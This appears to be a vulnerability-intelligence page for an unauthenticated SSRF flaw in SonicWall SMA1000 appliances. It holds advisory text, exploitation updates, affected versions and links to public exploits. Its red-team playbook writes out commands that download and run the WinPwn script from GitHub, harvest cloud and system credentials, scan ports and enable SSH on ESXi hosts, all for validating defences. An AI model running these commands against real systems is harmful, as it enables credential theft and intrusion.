CVE-2026-15409

CRITICAL CISA KEV EXPLOIT POC Pub 14/07 Upd 04/08

Overview

This vulnerability is a Server-Side Request Forgery (SSRF) affecting the SonicWall SMA1000 Appliance Work Place interface. The root cause lies in improper validation of user-supplied URLs, allowing the appliance to be manipulated into making arbitrary HTTP requests. The flaw exists within the appliance's internal request handling mechanism, specifically in the interface that processes incoming request parameters without adequate origin verification.

Vulnerability Description

A Server-side request forgery (SSRF) vulnerability has been identified in the SMA1000 Appliance Work Place interface. A remote unauthenticated attacker could potentially cause the appliance to make requests to unintended location.

Impact

An unauthenticated attacker can leverage this SSRF vulnerability to make the SonicWall SMA1000 appliance initiate requests to internal network services or external systems. This can lead to unauthorized information disclosure from internal resources, potential access to metadata services, or interaction with otherwise inaccessible services. The attacker requires no credentials or user interaction, enabling remote exploitation that may facilitate further network reconnaissance or lateral movement within the environment, potentially compromising sensitive data or internal infrastructure.

Solution

SonicWall has released an advisory (SNWLID-2026-0008) addressing this SSRF vulnerability in the SMA1000 Appliance. Administrators should apply the vendor-provided patches as detailed in the advisory to affected SMA1000 versions. The advisory includes specific firmware updates and configuration guidance to mitigate the issue. For comprehensive patch instructions and version details, refer to the SonicWall PSIRT advisory at https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The identified vulnerability within the SMA1000 Appliance Work Place interface is characterized as a server-side request forgery (SSRF). This type of vulnerability allows an attacker to manipulate the server into making requests to unintended locations, potentially exposing sensitive information or interacting with internal services that should not be accessible externally. The flaw arises from insufficient validation of user-supplied input, which permits an unauthenticated remote attacker to craft requests that the server processes, leading to unauthorized access to internal resources or external systems.

Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage the appliance's interface to send crafted requests that target internal services, such as databases, metadata services, or even other networked devices that are not intended to be exposed to the public internet. For example, if the appliance is configured to communicate with a database or a cloud service, an attacker could exploit the SSRF vulnerability to retrieve sensitive data or execute commands on those services. Furthermore, the attacker could use this access to pivot to other systems within the network, escalating their attack and potentially leading to a broader compromise.

The real-world impact of such a vulnerability can be severe, particularly for organizations relying on the SMA1000 Appliance for critical operations. The potential for data exfiltration, unauthorized access to internal systems, and the ability to conduct reconnaissance on the network can lead to significant business risks. Organizations may face financial losses, reputational damage, and regulatory penalties if sensitive data is compromised. Additionally, the high CVSS score of 10.0 indicates that this vulnerability poses an extreme risk, necessitating immediate attention from security teams to mitigate its effects.

To effectively detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching the affected appliance is crucial to ensure that known vulnerabilities are addressed. Network segmentation can also be an effective strategy, isolating critical internal services from external access and limiting the potential impact of an SSRF attack. Furthermore, organizations should employ web application firewalls (WAFs) and intrusion detection systems (IDS) to monitor and filter incoming requests, identifying and blocking suspicious activities before they reach the vulnerable interface.

In conclusion, the server-side request forgery vulnerability in the SMA1000 Appliance Work Place interface represents a significant threat to organizations that utilize this technology. The ability for an unauthenticated attacker to manipulate server requests can lead to severe consequences, including unauthorized access to sensitive information and internal systems. By understanding the technical details, potential attack vectors, and real-world implications, organizations can take proactive measures to detect and mitigate this vulnerability, thereby safeguarding their assets and maintaining the integrity of their operations.




CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2026-15409, coinciding with its recent inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog. This formal recognition elevates the vulnerability’s profile, underscoring its criticality and the urgency for organizations to prioritize remediation efforts. The CVSS score adjustment to 10.0 reflects a reassessment of the vulnerability’s potential impact, confirming it as a critical risk with a high likelihood of exploitation. Additionally, the emergence of a ransomware group association, specifically with the Sinobi group, signals an increased threat vector where adversaries may leverage this SSRF flaw to facilitate lateral movement or data exfiltration in ransomware campaigns. Although our telemetry does not yet indicate widespread exploitation or rapid growth in attack attempts, the convergence of these factors—heightened detection, authoritative cataloging, and ransomware linkage—necessitates a recalibrated risk posture. Defenders should interpret this as a significant escalation in threat level, with CVE-2026-15409 now representing an active and prioritized vector for targeted attacks against SonicWall SMA1000 deployments.



Update 2 — July 23, 2026

CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2026-15409, characterized by a substantial increase in exploitation attempts and the emergence of multiple new proof-of-concept exploits publicly available on GitHub. This expansion of the exploit landscape includes sophisticated multi-stage frameworks enabling remote code execution and privilege escalation, significantly lowering the barrier for adversaries to weaponize this SSRF vulnerability. Concurrently, the EPSS score has risen to a notable level, reflecting increased likelihood of exploitation in the wild. Although ransomware groups have not been definitively linked to this vulnerability, the presence of advanced exploitation tools and heightened detection rates signal an elevated risk of integration into broader attack campaigns. For defenders, this development underscores the urgency of prioritizing monitoring and response efforts for SonicWall SMA1000 environments, as the vulnerability is transitioning from theoretical risk to active exploitation. The threat level should now be considered critically elevated, warranting immediate attention within organizational risk management frameworks.



Update 3 — August 14, 2026

CSURFACE threat intelligence has identified a significant shift in the exploitation landscape of CVE-2026-15409, marked by the emergence of a Metasploit module that substantially lowers the technical barrier for attackers. This development coincides with a marked increase in the Exploit Prediction Scoring System (EPSS) score, which has surged by over 350%, reflecting heightened likelihood of exploitation in the wild. Our telemetry indicates a slight but consistent uptick in detection activity, suggesting that threat actors are actively leveraging newly available tooling to target SonicWall SMA1000 appliances. The availability of multiple proof-of-concept exploits, including frameworks enabling unauthenticated remote code execution and privilege escalation, further amplifies the risk profile. Although ransomware groups such as Sinobi remain associated with campaigns exploiting this vulnerability, no high-confidence direct linkage has yet been confirmed. Nonetheless, the combination of advanced exploitation tools and increased detection frequency elevates the threat level to critical. Defenders should interpret this as a clear signal that CVE-2026-15409 is transitioning from a theoretical vulnerability to an actively exploited vector with significant operational impact potential.

Affected Products (18)

Vendor Product Version CPE
sonicwall Sonicwall Sma8200v 12.4.3-03245 cpe:2.3:a:sonicwall:sma8200v:12.4.3-03245:*:*:*:*:*:*:*
sonicwall Sonicwall Sma8200v 12.4.3-03387 cpe:2.3:a:sonicwall:sma8200v:12.4.3-03387:*:*:*:*:*:*:*
sonicwall Sonicwall Sma8200v 12.4.3-03434 cpe:2.3:a:sonicwall:sma8200v:12.4.3-03434:*:*:*:*:*:*:*
sonicwall Sonicwall Sma8200v 12.5.0-02283 cpe:2.3:a:sonicwall:sma8200v:12.5.0-02283:*:*:*:*:*:*:*
sonicwall Sonicwall Sma8200v 12.5.0-02624 cpe:2.3:a:sonicwall:sma8200v:12.5.0-02624:*:*:*:*:*:*:*
sonicwall Sonicwall Sma8200v 12.5.0-02800 cpe:2.3:a:sonicwall:sma8200v:12.5.0-02800:*:*:*:*:*:*:*
sonicwall Sonicwall Sma6210 Firmware 12.4.3-03245 cpe:2.3:o:sonicwall:sma6210_firmware:12.4.3-03245:*:*:*:*:*:*:*
sonicwall Sonicwall Sma6210 Firmware 12.4.3-03387 cpe:2.3:o:sonicwall:sma6210_firmware:12.4.3-03387:*:*:*:*:*:*:*
sonicwall Sonicwall Sma6210 Firmware 12.4.3-03434 cpe:2.3:o:sonicwall:sma6210_firmware:12.4.3-03434:*:*:*:*:*:*:*
sonicwall Sonicwall Sma6210 Firmware 12.5.0-02283 cpe:2.3:o:sonicwall:sma6210_firmware:12.5.0-02283:*:*:*:*:*:*:*
sonicwall Sonicwall Sma6210 Firmware 12.5.0-02624 cpe:2.3:o:sonicwall:sma6210_firmware:12.5.0-02624:*:*:*:*:*:*:*
sonicwall Sonicwall Sma6210 Firmware 12.5.0-02800 cpe:2.3:o:sonicwall:sma6210_firmware:12.5.0-02800:*:*:*:*:*:*:*
sonicwall Sonicwall Sma7210 Firmware 12.4.3-03245 cpe:2.3:o:sonicwall:sma7210_firmware:12.4.3-03245:*:*:*:*:*:*:*
sonicwall Sonicwall Sma7210 Firmware 12.4.3-03387 cpe:2.3:o:sonicwall:sma7210_firmware:12.4.3-03387:*:*:*:*:*:*:*
sonicwall Sonicwall Sma7210 Firmware 12.4.3-03434 cpe:2.3:o:sonicwall:sma7210_firmware:12.4.3-03434:*:*:*:*:*:*:*
sonicwall Sonicwall Sma7210 Firmware 12.5.0-02283 cpe:2.3:o:sonicwall:sma7210_firmware:12.5.0-02283:*:*:*:*:*:*:*
sonicwall Sonicwall Sma7210 Firmware 12.5.0-02624 cpe:2.3:o:sonicwall:sma7210_firmware:12.5.0-02624:*:*:*:*:*:*:*
sonicwall Sonicwall Sma7210 Firmware 12.5.0-02800 cpe:2.3:o:sonicwall:sma7210_firmware:12.5.0-02800:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
SonicWall SMA1000 WorkPlace wsproxy SSRF Remote Command Execution
exploits/linux/http/sonicwall_sma1000_wsproxy_rce
Ryan Emmons, Deral Heiland, Rapid7 Vulnerability Research Unknown - View

GitHub PoCs (6)

Repository Author Stars Forks Date Link
remmons-r7/rapid7-CVE-2026-15409
This repo contains a proof-of-concept exploit for CVE-2026-15409. It establishes non-root remote code execution on Sonic...
remmons-r7 27 6 2026-07-15 View
tc4dy/CVE-2026-15409-15410-Framework
CVE-2026-15409/15410 SonicWall SMA1000 multi-exploit Framework 🔥 SSRF→Erlang RPC→RCE→root privesc. Features: --detect sa...
tc4dy 5 4 2026-07-17 View
Ch4120N/CVE-2026-15409
Proof-of-Concept exploit for CVE-2026-15409 (SonicWall SMA 1000 RCE) via Erlang distribution over WebSocket. Achieves un...
Ch4120N 3 0 2026-08-03 View
0xBlackash/CVE-2026-15409
CVE-2026-15409
0xBlackash 3 0 2026-07-15 View
MrRawBit/SonicWall-SMA1000-Zero-Day-IoC-Check
Unofficial Bash IoC checker for SonicWall SMA1000 appliances affected by actively exploited CVE-2026-15409 and CVE-2026-...
MrRawBit 0 0 2026-07-16 View
HORKimhab/CVE-2026-15409
CVE-2026-15409 - Dectect
HORKimhab 0 0 2026-07-15 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Considerable activity

Threat Feed

30 events
2026-08-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-21
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-14
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-13
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-06
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-08-04
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-08-04
Exploited by sinobi

Ransomware group known to exploit this vulnerability (274 known victims)

2026-08-03
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-26
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-07-22
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-21
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-20
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-19
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-18
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-17
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-16
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-07-15
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-07-15
PoC Published (6 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2026-07-15
Exploited by sinobi

Ransomware group known to exploit this vulnerability (274 known victims)

2026-07-14
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-07-14
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2026-07-14
Exploit Published (0 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Cross-Site Request Forgery
100% csrf
Server-Side Request Forgery
100% ssrf

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-664 Server Side Request Forgery
34%
High High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-15409
psirt.global.sonicwall.com
GitHub CVE vendor-advisory
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2026-0008
cisa.gov
NVD API
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-15409